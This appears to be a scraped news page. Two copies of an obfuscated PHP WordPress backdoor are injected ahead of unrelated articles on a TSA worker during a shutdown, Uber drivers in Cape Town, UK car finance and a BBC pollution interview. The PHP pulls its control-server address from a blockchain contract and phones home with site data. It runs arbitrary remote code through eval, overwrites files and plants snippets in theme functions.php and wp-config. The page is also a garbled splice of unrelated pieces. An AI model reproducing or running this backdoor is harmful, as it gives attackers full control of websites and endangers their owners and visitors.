// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Joe Raedle/Getty
Transportation Security Administration (TSA) employees are feeling the strain of a federal government shutdown that has reached its 34th day.
A TSA worker from Kona, Hawaii, has begun living in his van six days per week because he can no longer afford to commute to and from his home, Hawaii News Now reports. The worker reportedly spends just one day per week at his home with his family.See the rest of the story at Business Insider
NOW WATCH: Go inside the Chrysler factory that makes Jeep Wranglers
See Also:
![]()
]]>
After arriving in Cape Town, Mike had initially worked in hotels and restaurants, later becoming a meter-taxi driver. When he heard about Uber from some former colleagues—they spoke of higher earnings, no shift managers—he immediately signed up. Uber’s pitch to drivers was the same as it is everywhere else: “Make good money. Drive when you want. No office, no boss.” Mike’s first impression of Uber, he said, was, “Here comes a company that’s liberating me.”
But in South Africa, Uber’s model doesn’t work the way it can in some other countries. The country’s severe income disparity means that few professional drivers actually own the cars they drive; instead, they rent them from owners and split the earnings, very often struggling to make ends meet. Though Uber does not release its figures, drivers and their representatives estimate that since 2013, the service has grown to around 4,000 Uber cars in Cape Town, mostly driven by foreign African migrants. A substantial majority do not own their cars—a model that Mike soon came to believe was “broken.” Here, more than anywhere, the gig economy’s promise of independence was illusory.
From the start Uber had faced a problem in South Africa, as well as in other developing countries such as Pakistan and Mexico: While there was no shortage of willing drivers, few could afford vehicles suitable for the app’s high-end market—sedan cars no older than five years, which in South Africa cost at least $ 10,500. The national unemployment rate, including people who have given up looking for work, exceeds 35 percent, and more than half the population lives below the poverty line.
Were South Africa simply a poor country, there would have been no demand for Uber in the first place, but it also holds the distinction of being among the least equal societies on earth. Though unemployment and poverty are rampant among people of color, cities like Cape Town and Johannesburg have robust middle classes, with many thousands of people wealthy enough to use on-demand car services. To tap into this new market, Uber devised a solution to the car-ownership problem: Find people with the means to finance new vehicles, and encourage drivers to work for them. Today some of these owners, who like drivers are termed “partners” by Uber, operate entire fleets. One Cape Town partner (who asked not to be identified) currently has 50 vehicles on the road. There are even companies offering end-to-end fleet-management services. Since launching in San Francisco in 2010, Uber has spread to more than 814 cities (and counting). But in countries like South Africa, rather than disrupting entrenched patterns of capital, Uber’s version of the gig economy has largely conformed to them.
Samantha Allenberg, a spokeswoman for Uber South Africa, declined to comment on the proportion of drivers engaged in third-party agreements. “We are aware that some drivers work for vehicle owners and would like to be their own bosses,” she said. “Driving for someone else is the first entry point for drivers to join the Uber app.” Allenberg added that the company had partnered with local banks and car dealerships to offer financing for drivers with low credit ratings.
Yet ownership by drivers remains exceedingly rare. Faiza Haupt, an Uber partner who is helping to create a new national e-hailing association for drivers, estimates that just 10 percent of Cape Town’s Uber drivers work for themselves. (Haupt, a former driver, currently has four vehicles on the platform.) Mike, who has only ever driven for partner-owners, including one fleet that rotated drivers on consecutive 12-hour shifts, believes the figure is even lower.
Uber and Lyft are failing black riders
“Uber in Cape Town is not functioning in the way Uber portrays it,” Ine Geitung, an Oslo city employee who wrote a Master’s thesis on the ride-hailing app in South Africa, told me. “Uber should put stricter and better guidelines between car owners and drivers to ensure that their platform does not contribute to exploitation, as it does today.” Critics such as Geitung, along with many Uber drivers, believe that Uber unfairly profits at the expense of the workers who make its service possible in South Africa.
Allenberg, of Uber, contested that characterization. “The lion’s share of the revenue generated goes to the driver,” she said, noting that Uber applies a standard service fee for 25 percent in all cities. The cost of running and improving the Uber app comes out of Uber’s service fee, she added.
Like their counterparts elsewhere, drivers in South Africa have attempted to force Uber to recognize them as employees, not contractors. In 2016, seven drivers—some working under partner-owners, some for themselves—took the company to court and won, but Uber successfully appealed. The drivers, who had founded a group called the Independent Drivers Guild, had already been deactivated from the platform. “The contract states that Uber can terminate you for any reason,” one of the drivers, Joseph Munzvenga, told me. Regarding the prevalence of partner-owners, he added: “As African people, with our histories of colonialism and apartheid, who can afford such a premium vehicle? The idea has become empowering people who were already rich.”
Typically, owners set drivers’ weekly “targets,” ranging from $ 190 to $ 230, which drivers must pay them before they can start earning money themselves. Some owners are registered with Uber and pay out earnings to their drivers, minus these deductions; in other cases, the drivers are registered themselves and must deduct rental fees from what they earn. Either way, drivers must pay for their gas and cellphone data. This leaves little over for drivers, many of whom work 60-hour weeks or longer. (With rising insurance premiums and competition for riders, many owners say that the model is no longer working for them either.)
Records from Mike’s app shows that he pockets less than $ 760 most months, though he works, on average, 65 hours per week; his wife, who works a nine-to-five job, makes more. Uber traffic is busiest on weekends, so while his wife and children are home, Mike is generally on the road. “If I was earning well it might be worth it for a few years,” Mike said. “But I’m not, and I’m not spending any time with my children. This way, what’s the point?”
Until this May, when Uber South Africa imposed a 12-hour shift limit on its app (excluding waiting time between rides), Mike often drove for 20 hours or longer in pursuit of better earnings. Like many other drivers I met, he began keeping a blanket in his trunk for naps. Late one night, after he dropped a customer at home, the man refused to open his driveway gates to let Mike leave. “He could see how tired I was,” Mike told me. “He was a gentleman—he made me sleep in the car until morning.” Another time Mike ordered an Uber for himself after going drinking. The driver was red-eyed and slurring with exhaustion. “I canceled the trip and told him to go home, but I don’t think he did,” Mike said.
Uber South Africa sent drivers a short video this July, announcing the findings of a national costs survey. Both rentals and vehicle finance had grown more expensive with inflation, while car-insurance premiums had more than doubled since 2015. A recent petrol price hike had squeezed drivers even further. “On top of these increases in your operating costs, inflation has caused the cost of everything else in your life to go up as well,” a narrator explained, over piano music. “All of this means that your earnings are not enough.”
On August 1, the company announced that it was increasing its minimum fare charge for UberX trips by 25 percent and piloting “tiered” discounts on its fees for drivers with good track records. “It’s a big F-you to drivers,” Mike wrote me by WhatsApp when he saw the news. Boosting the minimum charge makes a difference only to extremely short trips, and he found the commitment to discounts vague. Allenberg, the Uber spokeswoman, said: “Uber suceeds when our partners suceed, and our teams are working hard every day to ensure drivers using our app continue to thrive.”
After more than 10,000 trips, Mike said, he was tired of waiting. He recently completed a part-time course to become a tour guide. (“Due to financial constraints,” he said, it took him a year instead of the typical six months.) He meets other men all the time, Zimbabwean immigrants like him, who want to drive for Uber. He has given up arguing that they are wasting their time. Driving a nice car feels like a good job—a status symbol—even if the weekly payments are too steep for it to be at all lucrative, he said. Compared to what they earned back home, the money isn’t bad. People learn not to touch fire, Mike has learned, when you let them burn their fingers. No matter what happens, Uber will get its cut.
![]()
HBO
In Silicon Valley, buying a home is out of reach even for the region’s tech workers.See the rest of the story at Business Insider
NOW WATCH: LinkedIn’s gorgeous San Francisco offices are unlike anything we’ve ever seen
See Also:
![]()
Car finance has drastically grown in popularity over the past few years with it offering an attractive alternative to full ownership over a vehicle.
There are an estimated 8.7 million UK drivers with a car finance agreement, but a large proportion of these feel ‘trapped’, claims a new report.
According to new research by Drover, around 28 per cent of drivers with finance deals can’t afford the final payments to keep the car at the end of the contract.
As a result of this drivers are feeling pressured into taking out another finance deal because they don’t want to feel like they lost money they’ve out into a new car.
The survey of 1,500 drivers who are currently in a finance deal found that almost 65 per cent said they could not afford the final payment on their deal and therefore felt obliged to take out another Personal Contract Purchase.
In addition to this, three in five (60 per cent) said they could not afford to terminate their contract early.
Of the motorists trapped, almost two thirds (61 per cent) believe they are getting a bad deal and 54 per cent believed that the next PCP contrast they agree too is worse than the one prior.
The research also revealed that 28 per cent of motorists surveyed had at least three rounds of finance with the same dealer and higher APR rates than their previous deal.
Some drivers claimed to be frustrated by PCP deals saying they weren’t aware of what they were signing up for.
This is evidently costing drivers as almost half (46 per cent) claimed that they did not shop around for a good deal while 36 per cent are not aware of what the rate of interest is.
Drover CEO and founder Felix Leuschner say that motorists should consider other avenues when searching for a new car deal.
“Buying a car is daunting prospect for many drivers – not only is there so much choice, but car finance deals are hugely confusing,” he said.
“We are aiming to help drivers by providing a more flexible way to run a car without the commitment of car finance.”
BBC Breakfast presenter Naga, 43, was joined on the programme by her co-host Jon Kay to present the day’s news and events.
In one segment, the journalists were joined by the cardiology consultant Cara Hendry to talk about the rising impact of pollution on health as well as lifestyle problems.
Yet as the guest attempted to explain what people need to do, especially living in areas such as cities which have higher levels, a frustrated Naga demanded clarification on what people can realistically do to change the situation.
Cara began by saying the northwest have got one of the “highest rates of mortality for cardiovascular disease in the UK”, which prompted a blunt reply from the presenter.
Clearly a matter she felt strongly about, Naga was keen to break down tangible solutions for people to replicate in their own lives.
“It’s all very well saying look at policies,” Naga declared. “And no one’s going to disagree with you, but in the meantime what are people going to do that are in flats or communities where they’re busy?
“You can’t just afford to get up and leave, even if your health depends on it. People are just not in that position, even if there are a few that are it’s not [feasible].”
Seemingly trying to remain calm under the intense questioning, Cara replied: “And in particular the people who are aren’t going to be particularly mobile and able to move.
“What we need to do as well, is we need to play our part, we need to exercise more, we need to choose to cycle, and run, instead of driving everywhere.”
Still not satisfied, Naga pressed: “Ok but where do you do that if you’re living in a polluted area?”
